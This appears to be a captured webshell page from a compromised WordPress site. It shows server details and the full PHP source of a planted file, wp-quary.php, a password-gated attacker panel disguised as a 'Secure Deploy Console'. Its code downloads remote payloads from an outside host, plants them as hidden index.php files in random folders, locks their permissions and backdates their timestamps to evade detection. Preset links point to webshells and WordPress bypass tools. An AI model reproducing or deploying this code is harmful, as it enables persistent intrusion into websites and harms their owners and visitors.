403Webshell
Server IP : 104.21.77.94  /  Your IP : 216.73.216.183
Web Server : Apache/2.4.65 (Debian) mod_fcgid/2.3.9 OpenSSL/3.0.17
System : Linux beast.ventasoftware.com 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
User : sites ( 1001)
PHP Version : 8.2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/sites/web/ventasoftware.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/sites/web/ventasoftware.com/public_html//wp-quary.php
<?php
session_start();

$passwordHash = '$2a$12$qdqCE6Cq4DonF8EbPbeC8.eBSlQm5GRg8MpV2OKERPdQ77MheHaZO';

// ───────────────── AUTH ─────────────────
if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
    if (!empty($_POST['password'])) {
        if (password_verify($_POST['password'], $passwordHash)) { // [web:45][web:48]
            $_SESSION['authenticated'] = true;
            $_SESSION['login_time'] = time();
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = "Access denied. Invalid password.";
        }
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>Access Required - ASN-0X-TOOLS</title>
        <style>
            *{box-sizing:border-box;margin:0;padding:0}
            body{
                min-height:100vh;
                display:flex;
                align-items:center;
                justify-content:center;
                background:radial-gradient(circle at top, #1f2937 0, #020617 55%, #000 100%);
                font-family:-apple-system,BlinkMacSystemFont,"Inter","Segoe UI",sans-serif;
                color:#e5e7eb;
            }
            .login-wrapper{
                max-width:420px;
                width:100%;
                padding:24px;
            }
            .login-card{
                background:rgba(15,23,42,0.9);
                border:1px solid rgba(148,163,184,0.25);
                box-shadow:0 24px 60px rgba(0,0,0,0.7);
                border-radius:18px;
                padding:28px 26px 24px;
                backdrop-filter:blur(18px);
            }
            .login-header{
                display:flex;
                align-items:center;
                justify-content:space-between;
                margin-bottom:18px;
            }
            .login-title{
                font-size:20px;
                font-weight:600;
                letter-spacing:0.06em;
                text-transform:uppercase;
                color:#a5b4fc;
            }
            .login-badge{
                font-size:11px;
                padding:4px 9px;
                border-radius:999px;
                border:1px solid rgba(129,140,248,0.4);
                background:linear-gradient(120deg,rgba(79,70,229,0.35),rgba(8,47,73,0.9));
                color:#e5e7eb;
            }
            .login-sub{
                font-size:13px;
                color:#9ca3af;
                margin-bottom:18px;
            }
            label{
                display:block;
                font-size:12px;
                text-transform:uppercase;
                letter-spacing:0.12em;
                color:#9ca3af;
                margin-bottom:6px;
            }
            input[type="password"]{
                width:100%;
                padding:11px 12px;
                border-radius:10px;
                border:1px solid rgba(55,65,81,0.9);
                background:radial-gradient(circle at top left,#020617 0,#020617 45%,#030712 100%);
                color:#e5e7eb;
                font-size:14px;
                outline:none;
                transition:border-color .18s,box-shadow .18s,background .18s;
            }
            input[type="password"]:focus{
                border-color:#6366f1;
                box-shadow:0 0 0 1px rgba(99,102,241,0.4);
                background:#020617;
            }
            .btn-primary{
                margin-top:14px;
                width:100%;
                padding:11px 0;
                border-radius:999px;
                border:none;
                background:linear-gradient(135deg,#4f46e5,#8b5cf6);
                color:white;
                font-size:14px;
                font-weight:500;
                cursor:pointer;
                box-shadow:0 18px 40px rgba(55,65,81,0.6);
                transition:transform .16s,box-shadow .16s,filter .16s;
            }
            .btn-primary:hover{
                transform:translateY(-1px);
                filter:brightness(1.05);
                box-shadow:0 24px 55px rgba(17,24,39,0.9);
            }
            .btn-primary:active{
                transform:translateY(0);
                box-shadow:0 16px 32px rgba(17,24,39,0.9);
            }
            .error{
                margin-top:10px;
                padding:8px 10px;
                border-radius:8px;
                border:1px solid rgba(239,68,68,0.5);
                background:rgba(127,29,29,0.55);
                font-size:12px;
                color:#fecaca;
            }
            .footer{
                margin-top:14px;
                font-size:11px;
                color:#6b7280;
                text-align:center;
            }
        </style>
    </head>
    <body>
        <div class="login-wrapper">
            <div class="login-card">
                <div class="login-header">
                    <div class="login-title">ASN-0X-TOOLS</div>
                    <div class="login-badge">Secure Deploy Console · 2026</div>
                </div>
                <p class="login-sub">Enter your access key to unlock the internal deployment console.</p>
                <?php if (isset($error)): ?>
                    <div class="error"><?= htmlspecialchars($error) ?></div>
                <?php endif; ?>
                <form method="POST">
                    <label for="password">Access Key</label>
                    <input type="password" id="password" name="password" placeholder="••••••••••••" autocomplete="off" required>
                    <button type="submit" class="btn-primary">Unlock Console</button>
                </form>
            </div>
            <div class="footer">&copy; 2026 Secure Deploy Tool · Internal Environment Only</div>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// session timeout
if (time() - ($_SESSION['login_time'] ?? 0) > 3600) {
    session_destroy();
    die('<script>alert("Session expired. Please log in again."); window.location = "' . $_SERVER['PHP_SELF'] . '";</script>');
}

// logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// ───────────────── INIT ─────────────────
$rootDir = realpath(__DIR__);
if (!$rootDir) {
    $rootDir = dirname($_SERVER['SCRIPT_FILENAME']);
}
$defaultHtaccessCode = "# Secured by ASN-0X-TOOLS\nOptions -Indexes\n<Files ~ \"^(\\.htaccess|\\.env)$\">\nOrder allow,deny\nDeny from all\n</Files>\n";

// ───────────────── FUNGSI UTIL ─────────────────

// Scan semua folder secara rekursif
function getAllFoldersRecursive($dir, &$dirs = array()) {
    if (!is_dir($dir) || !is_readable($dir)) return $dirs;
    $dirs[] = $dir;
    $items = @scandir($dir);
    if ($items === false) return $dirs;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            getAllFoldersRecursive($path, $dirs);
        }
    }
    return array_unique($dirs);
}

// chmod aman
function safeChmod($file, $perm) {
    if (!file_exists($file)) return false;
    if (!is_writable($file)) {
        @chmod($file, 0666);
    }
    return @chmod($file, $perm);
}

// unlink aman
function safeUnlink($file) {
    if (!file_exists($file)) return false;
    if (!is_writable($file)) {
        @chmod($file, 0666);
    }
    return @unlink($file);
}

// Set timestamp file ke random (2020–2024)
function setOldTimestamp($file) {
    if (!file_exists($file)) return false;
    $year = rand(2020, 2024);
    $month = rand(1, 12);
    $day = rand(1, 28);
    $hour = rand(0, 23);
    $minute = rand(0, 59);
    $second = rand(0, 59);
    $oldTimestamp = mktime($hour, $minute, $second, $month, $day, $year); // [web:46][web:49]
    return @touch($file, $oldTimestamp, $oldTimestamp);
}

function setOldTimestampForFolder($folder) {
    if (!is_dir($folder)) return false;
    $year = rand(2020, 2024);
    $month = rand(1, 12);
    $day = rand(1, 28);
    $hour = rand(0, 23);
    $minute = rand(0, 59);
    $second = rand(0, 59);
    $oldTimestamp = mktime($hour, $minute, $second, $month, $day, $year);
    return @touch($folder, $oldTimestamp, $oldTimestamp);
}

// Set permission semua folder
function setFolderPermissions($dir, $perm) {
    $count = 0;
    $dirs = array();
    getAllFoldersRecursive($dir, $dirs);
    foreach ($dirs as $path) {
        if (is_dir($path) && is_writable(dirname($path))) {
            if (@chmod($path, $perm)) $count++;
        }
    }
    return $count;
}

// Lock semua .php ke 0555
function lockPhpFiles($dir) {
    $count = 0;
    $dirs = array();
    getAllFoldersRecursive($dir, $dirs);
    foreach ($dirs as $d) {
        $items = @scandir($d);
        if ($items === false) continue;
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $file = $d . '/' . $item;
            if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') {
                if (is_writable($d) && @chmod($file, 0555)) $count++;
            }
        }
    }
    return $count;
}

// Unlock semua .php ke 0644
function unlockPhpFiles($dir) {
    $count = 0;
    $dirs = array();
    getAllFoldersRecursive($dir, $dirs);
    foreach ($dirs as $d) {
        $items = @scandir($d);
        if ($items === false) continue;
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $file = $d . '/' . $item;
            if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') {
                if (is_writable($d) && @chmod($file, 0644)) $count++;
            }
        }
    }
    return $count;
}

// Cek direktori benar-benar writable (test file dummy)
function isReallyWritableDir($dir) {
    if (!is_dir($dir)) return false;
    if (!is_writable($dir)) return false; // [web:32][web:35]

    $testFile = rtrim($dir, '/').'/.__asn_writable_test_'.mt_rand(1000,9999).'.tmp';
    $bytes = @file_put_contents($testFile, 'test'); // [web:6][web:31]
    if ($bytes === false) {
        return false;
    }
    @unlink($testFile);
    return true;
}

// Pastikan direktori dan parent bisa dibuat dan ditulis
function ensureWritableDir($dir, $mode = 0755) {
    if (is_dir($dir)) {
        return isReallyWritableDir($dir);
    }
    $parent = dirname($dir);
    if (!is_dir($parent)) {
        if (!ensureWritableDir($parent, $mode)) {
            return false;
        }
    }
    if (!@mkdir($dir, $mode)) { // [web:36]
        if (!is_dir($dir)) return false;
    }
    @chmod($dir, $mode);
    return isReallyWritableDir($dir);
}

// ───────────────── PROSES .htaccess ─────────────────
if (isset($_POST['action'])) {
    $action = $_POST['action'];
    $code = isset($_POST['htaccess_code']) ? $_POST['htaccess_code'] : $defaultHtaccessCode;

    $dirs = array();
    getAllFoldersRecursive($rootDir, $dirs);

    if ($action === 'add_all_ht') {
        $created = 0;
        foreach ($dirs as $d) {
            $ht = $d . '/.htaccess';
            @chmod($d, 0755);
            if (file_exists($ht)) {
                @chmod($ht, 0666);
            }
            if (@file_put_contents($ht, $code) !== false) { // [web:6]
                @chmod($ht, 0444);
                $created++;
            }
        }
        $message_left = "<div class='msg success'>✅ .htaccess added/updated to {$created} folders.</div>";

    } elseif ($action === 'fix_perm') {
        $changed = 0;
        foreach ($dirs as $d) {
            $ht = $d . '/.htaccess';
            if (file_exists($ht)) {
                if (safeChmod($ht, 0644)) $changed++;
            }
        }
        $message_left = "<div class='msg success'>🔧 Permissions set to 644 for {$changed} files.</div>";

    } elseif ($action === 'lock_perm') {
        $changed = 0;
        foreach ($dirs as $d) {
            $ht = $d . '/.htaccess';
            if (file_exists($ht)) {
                if (safeChmod($ht, 0444)) $changed++;
            }
        }
        $message_left = "<div class='msg warn'>🔒 Permissions set to 0444 for {$changed} files.</div>";

    } elseif ($action === 'delete_non_root') {
        $deleted = 0;
        foreach ($dirs as $d) {
            if ($d === $rootDir) continue;
            $ht = $d . '/.htaccess';
            if (file_exists($ht)) {
                if (safeUnlink($ht)) $deleted++;
            }
        }
        $message_left = "<div class='msg danger'>🗑️ {$deleted} .htaccess files deleted (non-root).</div>";
    }
}

// ───────────────── PROSES GLOBAL PERMISSIONS ─────────────────
if (isset($_POST['folder_action'])) {
    if ($_POST['folder_action'] === 'set_0755') {
        $fixed = setFolderPermissions($rootDir, 0755); // [web:40][web:44]
        $message_center = "<div class='msg success'>📁 Folder permissions set to 0755 ({$fixed} folders updated).</div>";
    } elseif ($_POST['folder_action'] === 'lock_0555') {
        $locked = setFolderPermissions($rootDir, 0555);
        $message_center = "<div class='msg warn'>🔒 Folder permissions locked to 0555 ({$locked} folders updated).</div>";
    }
}
if (isset($_POST['php_action'])) {
    if ($_POST['php_action'] === 'lock_php') {
        $locked = lockPhpFiles($rootDir);
        $message_center = "<div class='msg warn'>🔒 {$locked} .php files locked to 0555.</div>";
    } elseif ($_POST['php_action'] === 'unlock_php') {
        $unlocked = unlockPhpFiles($rootDir);
        $message_center = "<div class='msg success'>🔓 {$unlocked} .php files unlocked to 0644.</div>";
    }
}

// ───────────────── DEPLOY TOOL (VERSI OPTIMAL, TANPA LOG FILE) ─────────────────
if (isset($_POST['deploy_url'])) {
    $url = trim($_POST['deploy_url']);
    $count = max(1, min(100, (int)($_POST['file_count'] ?? 1)));

    if (filter_var($url, FILTER_VALIDATE_URL)) {
        $content = false;

        // Ambil konten: cURL dulu, fallback ke file_get_contents [web:6]
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            $content = curl_exec($ch);
            curl_close($ch);
        }

        if (($content === false || trim($content) === '') && ini_get('allow_url_fopen')) {
            $content = @file_get_contents($url);
        }

        if ($content !== false && trim($content) !== '') {
            // Kumpulkan semua direktori, lalu filter yang benar-benar writable
            $allDirs = array();
            getAllFoldersRecursive($rootDir, $allDirs);
            shuffle($allDirs);

            $writableDirs = array();
            $unwritableDirs = array();

            foreach ($allDirs as $dir) {
                if (isReallyWritableDir($dir)) {
                    $writableDirs[] = $dir;
                } else {
                    $unwritableDirs[] = $dir;
                }
                if (count($writableDirs) >= $count * 2) {
                    break;
                }
            }

            $deployedPaths = array();
            $failedTargets = array();
            $success = 0;

            if (!empty($writableDirs)) {
                foreach ($writableDirs as $dir) {
                    if ($success >= $count) break;

                    @chmod($dir, 0755);

                    $enDir = rtrim($dir, '/') . '/en';

                    if (!ensureWritableDir($enDir, 0755)) {
                        $failedTargets[] = $enDir . ' (cannot ensure writable)';
                        continue;
                    }

                    $target = $enDir . '/index.php';

                    if (file_exists($target)) {
                        @chmod($target, 0644);
                        if (!is_writable($target) && !isReallyWritableDir($enDir)) {
                            $failedTargets[] = $target . ' (existing, not writable)';
                            continue;
                        }
                    }

                    $written = @file_put_contents($target, $content); // [web:6]

                    if ($written !== false) {
                        @chmod($target, 0444);
                        @chmod($enDir, 0111);

                        setOldTimestamp($target);
                        setOldTimestampForFolder($enDir);

                        $deployedPaths[] = $target;
                        $success++;
                    } else {
                        $failedTargets[] = $target . ' (file_put_contents failed)';
                    }
                }
            }

            if ($success > 0) {
                $fullUrls = array();
                $linksHtml = '';
                foreach ($deployedPaths as $path) {
                    $rel = ltrim(str_replace($rootDir, '', $path), '/');
                    $rel = str_replace('\\\\', '/', $rel);
                    $fullUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/' . $rel;
                    $fullUrls[] = $fullUrl;
                    $fileName = basename($fullUrl);
                    $linksHtml .= '<div class="url-item"><a href="' . htmlspecialchars($fullUrl) . '" target="_blank" rel="noopener">' . htmlspecialchars($fileName) . '</a></div>';
                }

                $urlsText = implode("\\n", $fullUrls);
                $listHtml = '<div class="url-preview">' . $linksHtml . '</div>';
                $listHtml .= '<button type="button" class="btn btn-outline" onclick="copyAllUrls(this)">📋 COPY ALL URLS</button>';

                $warningInfo = '';
                if ($success < $count) {
                    $warningInfo .= "<br><small class='hint'>⚠️ Hanya {$success} dari {$count} target yang berhasil ditulis. Sisa gagal karena pembatasan permission atau konfigurasi server.</small>";
                }
                if (!empty($failedTargets)) {
                    $failSample = array_slice($failedTargets, 0, 5);
                    $warningInfo .= "<br><small class='hint'>Contoh target gagal:<br>- " . htmlspecialchars(implode("<br>- ", $failSample)) . "</small>";
                }

                $message_right = "<div class='msg success'>✅ {$success} file <code>index.php</code> berhasil di-deploy.{$warningInfo}<br>{$listHtml}</div>";
            } else {
                $reason = 'Permission atau konfigurasi server menolak penulisan file.';
                if (empty($writableDirs)) {
                    $reason = 'Tidak ditemukan direktori yang benar-benar writable oleh PHP di bawah root ini (cek owner & permission).';
                }
                $message_right = "<div class='msg danger'>❌ Penanaman gagal. {$reason}</div>";
            }
        } else {
            $message_right = "<div class='msg danger'>❌ Gagal mengunduh URL atau isi *file raw* kosong.</div>";
        }
    } else {
        $message_right = "<div class='msg danger'>⚠️ URL Tidak Valid.</div>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>ASN-0X-TOOLS · Secure Deploy Console</title>
    <style>
        *{box-sizing:border-box;margin:0;padding:0}
        :root{
            --bg-main:#020617;
            --bg-elevated:rgba(15,23,42,0.9);
            --border-soft:rgba(148,163,184,0.25);
            --accent:#6366f1;
            --accent-soft:#4f46e5;
            --accent-2:#22c55e;
            --danger:#ef4444;
            --warning:#facc15;
            --text-main:#e5e7eb;
            --text-soft:#9ca3af;
            --radius-lg:18px;
            --radius-md:14px;
            --radius-sm:9px;
        }
        body{
            min-height:100vh;
            background:radial-gradient(circle at top,#1f2937 0,#020617 52%,#000 100%);
            color:var(--text-main);
            font-family:-apple-system,BlinkMacSystemFont,"Inter","Segoe UI",sans-serif;
            padding:22px;
        }
        .app-shell{
            max-width:1440px;
            margin:0 auto;
            display:flex;
            flex-direction:column;
            gap:18px;
        }
        .app-header{
            display:flex;
            align-items:center;
            justify-content:space-between;
            gap:14px;
        }
        .brand-block{
            display:flex;
            align-items:center;
            gap:14px;
        }
        .brand-mark{
            width:40px;
            height:40px;
            border-radius:20px;
            background:radial-gradient(circle at 0 0,#4f46e5 0,#0f172a 55%,#020617 100%);
            display:flex;
            align-items:center;
            justify-content:center;
            box-shadow:0 18px 40px rgba(15,23,42,0.9);
        }
        .brand-mark span{
            font-size:18px;
            font-weight:700;
            letter-spacing:0.08em;
            color:#e5e7eb;
        }
        .brand-text{
            display:flex;
            flex-direction:column;
            gap:3px;
        }
        .brand-title{
            font-size:18px;
            font-weight:600;
            letter-spacing:0.12em;
            text-transform:uppercase;
        }
        .brand-sub{
            font-size:11px;
            color:var(--text-soft);
        }
        .header-meta{
            display:flex;
            align-items:center;
            gap:14px;
            font-size:11px;
            color:var(--text-soft);
        }
        .meta-pill{
            padding:4px 10px;
            border-radius:999px;
            border:1px solid rgba(148,163,184,0.35);
            background:rgba(15,23,42,0.9);
        }
        .meta-pill strong{
            color:#c4b5fd;
            font-weight:500;
        }
        .logout-btn{
            padding:7px 14px;
            border-radius:999px;
            border:1px solid rgba(239,68,68,0.6);
            color:#fecaca;
            background:rgba(127,29,29,0.4);
            font-size:12px;
            cursor:pointer;
            display:inline-flex;
            align-items:center;
            gap:6px;
            transition:background .16s,transform .16s,box-shadow .16s;
        }
        .logout-btn:hover{
            background:rgba(220,38,38,0.85);
            color:#111827;
            transform:translateY(-1px);
            box-shadow:0 16px 32px rgba(127,29,29,0.7);
        }
        .main-layout{
            display:grid;
            grid-template-columns:1.15fr 0.9fr 1.15fr;
            gap:18px;
        }
        .panel{
            background:var(--bg-elevated);
            border-radius:var(--radius-lg);
            border:1px solid var(--border-soft);
            padding:18px 18px 16px;
            box-shadow:0 20px 55px rgba(15,23,42,0.96);
            backdrop-filter:blur(16px);
            display:flex;
            flex-direction:column;
            min-height:0;
        }
        .panel-header{
            display:flex;
            align-items:center;
            justify-content:space-between;
            margin-bottom:12px;
        }
        .panel-title{
            font-size:14px;
            font-weight:500;
            display:flex;
            align-items:center;
            gap:8px;
        }
        .panel-title span{
            font-size:11px;
            padding:3px 8px;
            border-radius:999px;
            background:rgba(15,23,42,0.9);
            border:1px solid rgba(148,163,184,0.4);
            color:var(--text-soft);
        }
        .panel-desc{
            font-size:11px;
            color:var(--text-soft);
            margin-bottom:10px;
        }
        textarea,input[type="url"],input[type="number"]{
            width:100%;
            padding:9px 10px;
            border-radius:var(--radius-md);
            border:1px solid rgba(55,65,81,0.9);
            background:radial-gradient(circle at top left,#020617 0,#020617 50%,#030712 100%);
            color:var(--text-main);
            font-size:12px;
            outline:none;
            margin-top:8px;
            resize:vertical;
            min-height:52px;
            transition:border-color .16s,box-shadow .16s,background .16s;
        }
        textarea{
            min-height:150px;
        }
        textarea:focus,
        input[type="url"]:focus,
        input[type="number"]:focus{
            border-color:var(--accent);
            box-shadow:0 0 0 1px rgba(99,102,241,0.4);
            background:#020617;
        }
        .btn{
            display:inline-flex;
            align-items:center;
            justify-content:center;
            gap:6px;
            width:100%;
            padding:9px 0;
            margin-top:7px;
            border-radius:var(--radius-sm);
            border:1px solid rgba(75,85,99,0.9);
            background:linear-gradient(135deg,#020617,#020617);
            color:var(--text-main);
            font-size:12px;
            cursor:pointer;
            text-decoration:none;
            transition:background .14s,transform .14s,box-shadow .14s,border-color .14s;
        }
        .btn:hover{
            background:linear-gradient(135deg,#020617,#111827);
            transform:translateY(-0.5px);
            box-shadow:0 10px 22px rgba(15,23,42,0.9);
        }
        .btn-primary{
            border-color:rgba(79,70,229,0.9);
            background:linear-gradient(135deg,#4f46e5,#6366f1);
            color:#eef2ff;
            box-shadow:0 16px 35px rgba(55,65,81,0.9);
        }
        .btn-primary:hover{
            filter:brightness(1.05);
        }
        .btn-danger{
            border-color:rgba(239,68,68,0.9);
            background:linear-gradient(135deg,#7f1d1d,#b91c1c);
            color:#fee2e2;
        }
        .btn-warning{
            border-color:rgba(234,179,8,0.9);
            background:linear-gradient(135deg,#78350f,#ca8a04);
            color:#fef9c3;
        }
        .btn-soft{
            border-style:dashed;
            border-color:rgba(148,163,184,0.8);
            color:var(--text-soft);
        }
        .btn-outline{
            border-color:rgba(148,163,184,0.8);
            background:transparent;
            color:var(--text-main);
        }
        .msg{
            padding:9px 10px;
            border-radius:var(--radius-md);
            margin-bottom:10px;
            font-size:12px;
            line-height:1.4;
        }
        .msg.success{
            border:1px solid rgba(34,197,94,0.8);
            background:rgba(22,163,74,0.15);
        }
        .msg.warn{
            border:1px solid rgba(250,204,21,0.9);
            background:rgba(202,138,4,0.18);
            color:#fef9c3;
        }
        .msg.danger{
            border:1px solid rgba(239,68,68,0.8);
            background:rgba(127,29,29,0.55);
            color:#fee2e2;
        }
        .template-list{
            display:flex;
            flex-direction:column;
            gap:6px;
            margin:6px 0 6px;
        }
        .template-item{
            font-size:12px;
            color:#c4b5fd;
            cursor:pointer;
            padding:5px 7px;
            border-radius:9px;
            background:rgba(15,23,42,0.85);
            border:1px dashed rgba(79,70,229,0.5);
            display:flex;
            justify-content:space-between;
            align-items:center;
            transition:background .14s,transform .14s,border-color .14s;
        }
        .template-item small{
            color:var(--text-soft);
        }
        .template-item:hover{
            background:rgba(55,48,163,0.9);
            border-color:rgba(165,180,252,0.9);
            transform:translateY(-0.5px);
        }
        .url-preview{
            margin:10px 0 8px;
            max-height:200px;
            overflow-y:auto;
            padding:8px 8px 4px;
            border-radius:var(--radius-md);
            border:1px solid rgba(31,41,55,0.9);
            background:rgba(15,23,42,0.92);
        }
        .url-preview::-webkit-scrollbar{width:6px}
        .url-preview::-webkit-scrollbar-track{background:#020617}
        .url-preview::-webkit-scrollbar-thumb{background:#4b5563;border-radius:4px}
        .url-item{
            font-size:12px;
            padding:4px 0;
            border-bottom:1px solid rgba(31,41,55,0.8);
        }
        .url-item:last-child{border-bottom:none}
        .url-item a{
            color:#a5b4fc;
            text-decoration:none;
        }
        .url-item a:hover{
            color:#facc15;
            text-decoration:underline;
        } mclee sama ps yg ada plastik
        .hint{
            font-size:11px;
            color:#fef9c3;
        }
        .footer{
            margin-top:14px;
            text-align:center;
            font-size:11px;
            color:var(--text-soft);
        }
        code{
            font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;
            font-size:11px;
            padding:1px 4px;
            border-radius:5px;
            background:rgba(15,23,42,0.9);
            border:1px solid rgba(31,41,55,0.9);
            color:#e5e7eb;
        }
        @media (max-width:1024px){
            .main-layout{
                grid-template-columns:1fr;
            }
        }
        @media (max-width:640px){
            body{padding:14px}
        }
    </style>
</head>
<body>
<div class="app-shell">
    <header class="app-header">
        <div class="brand-block">
            <div class="brand-mark"><span>A</span></div>
            <div class="brand-text">
                <div class="brand-title">ASN-0X-TOOLS</div>
                <div class="brand-sub">Final Universal Edition · Secure Deploy & Hardening Console</div>
            </div>
        </div>
        <div class="header-meta">
            <div class="meta-pill">
                Root: <strong><?= htmlspecialchars($rootDir ?? '') ?></strong>
            </div>
            <button class="logout-btn" onclick="location.href='?logout=1'">
                <span>⏏</span> Logout
            </button>
        </div>
    </header>

    <main class="main-layout">
        <!-- .htaccess Manager -->
        <section class="panel">
            <div class="panel-header">
                <div class="panel-title">
                    .htaccess Manager
                    <span>Global hardening</span>
                </div>
            </div>
            <p class="panel-desc">Apply unified .htaccess rules across all folders, then lock or relax permissions as needed.</p>
            <?php echo isset($message_left) ? $message_left : ''; ?>
            <div class="template-list">
                <div class="template-item" onclick="setHtaccessTemplate('block_all_php')">
                    <span>🚫 Block All .php Access</span>
                    <small>Full deny for PHP files</small>
                </div>
                <div class="template-item" onclick="setHtaccessTemplate('allow_index_only')">
                    <span>✅ Allow Only index/main/home.php</span>
                    <small>Front-controller only</small>
                </div>
            </div>
            <form method="POST">
                <textarea id="htaccess_code" name="htaccess_code"><?php echo htmlspecialchars(isset($_POST['htaccess_code']) ? $_POST['htaccess_code'] : $defaultHtaccessCode); ?></textarea>
                <button type="submit" name="action" value="add_all_ht" class="btn btn-warning">➕ Add to All Folders</button>
                <button type="submit" name="action" value="fix_perm" class="btn btn-soft">🔧 Set 644 (Editable)</button>
                <button type="submit" name="action" value="lock_perm" class="btn btn-outline"
                        onclick="return confirm('Lock .htaccess to 0444?\nFiles will be strictly read-only.')">🔒 Set 0444 (Locked)</button>
                <button type="submit" name="action" value="delete_non_root" class="btn btn-danger"
                        onclick="return confirm('Delete non-root .htaccess files?')">🗑️ Delete Non-Root</button>
            </form>
        </section>

        <!-- Global Permissions -->
        <section class="panel">
            <div class="panel-header">
                <div class="panel-title">
                    Global Permissions
                    <span>Folders & PHP</span>
                </div>
            </div>
            <p class="panel-desc">Adjust folder and PHP file permissions across the entire tree. Use hard lock only when you fully understand the impact.</p>
            <?php echo isset($message_center) ? $message_center : ''; ?>
            <div style="margin-top:6px;">
                <form method="POST" style="margin-bottom:8px;">
                    <button type="submit" name="folder_action" value="set_0755" class="btn btn-soft">
                        📁 Set Folders to 0755
                    </button>
                </form>
                <form method="POST"
                      onsubmit="return confirm('⚠️ Lock folders to 0555?\nYou will NOT be able to add/remove files in these folders via file manager!')">
                    <button type="submit" name="folder_action" value="lock_0555" class="btn btn-danger">
                        🔒 Lock Folders to 0555
                    </button>
                </form>
            </div>

            <hr style="border:none;border-top:1px solid rgba(31,41,55,0.9);margin:12px 0;">

            <div>
                <form method="POST" style="margin-bottom:8px;"
                      onsubmit="return confirm('⚠️ Lock ALL .php files to 0555?\nThey will become read-only!')">
                    <button type="submit" name="php_action" value="lock_php" class="btn btn-danger">
                        🔒 Lock ALL .PHP Files to 0555
                    </button>
                </form>
                <form method="POST">
                    <button type="submit" name="php_action" value="unlock_php" class="btn btn-soft">
                        🔓 Unlock ALL .PHP Files to 0644
                    </button>
                </form>
            </div>

            <p style="font-size:11px;color:var(--text-soft);margin-top:10px;">
                ⚠️ Use <code>0555</code> only for read-only protection. It may affect CMS updates and plugin/theme writes.
            </p>
        </section>

        <!-- File Deploy Tool -->
        <section class="panel">
            <div class="panel-header">
                <div class="panel-title">
                    File Deploy Tool
                    <span>Distributed writer</span>
                </div>
            </div>
            <p class="panel-desc">Pull a raw file from a URL, then deploy it as <code>/en/index.php</code> inside random deep folders.</p>
            <?php echo isset($message_right) ? $message_right : ''; ?>
            <form method="POST">
                <p style="font-size:11px;color:var(--text-soft);margin-top:4px;">Raw file URL</p>
                <input type="url" name="deploy_url" placeholder="https://gist.githubusercontent.com/.../payload.php" required>

                <div style="margin-top:8px;font-size:11px;color:var(--text-soft);">
                    <strong>VERSI I:</strong><br>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69eecd49e42491.70848684.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___Alfa-Root___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69eecd35286f15.96723812.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___Next___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69eecd6017fa35.70461459.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___Updater___</a>
                </div>
                <div style="margin-top:10px;font-size:11px;color:var(--text-soft);">
                    <strong>RFI obfuscated Scrip:</strong><br>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69ee09c2850351.45025024.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___NEXT___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69eca93fd4b581.58715745.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___Alfa Root___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69a50f0d8eff92.31280136.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___ALFABYCODE___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69a50f53389832.13631966.txt'); return false;" style="color:#a5b4fc;margin-right:12px;">___WpByPass___</a>
                </div>

                <div style="margin-top:10px;font-size:11px;color:var(--text-soft);">
                    <strong>WP ACCESS:</strong><br>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69cf2713003c56.17864536.txt'); return false;" style="color:#a5b4fc;">___WP BYPASS PRO___</a>
                    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69933f19b8c7c9.07990311.txt'); return false;" style="color:#a5b4fc;">___ADMINER WP___</a>
                </div>
                <div style="margin-top:10px;font-size:11px;color:var(--text-soft);">
